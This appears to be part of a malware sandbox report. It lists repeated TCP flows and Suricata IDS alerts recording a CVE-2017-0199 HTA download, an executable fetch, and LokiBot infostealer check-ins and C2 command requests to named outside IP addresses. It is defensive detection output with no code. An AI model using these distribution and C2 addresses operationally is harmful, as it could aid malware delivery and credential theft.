Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 66.63.187.231:80 -> 192.168.2.22:49163
Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.231:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.231:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49179 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49179 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49179 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49179 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49179 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49167 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49167 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49167 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49179
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49239
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49178
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49165 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49250 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49250 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49250 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49165 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49167 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49167 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49250 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49253 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49253 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49253 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49240
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49202
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49167
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49253 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49253 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49250 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49174
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49176 -> 94.156.177.41:80
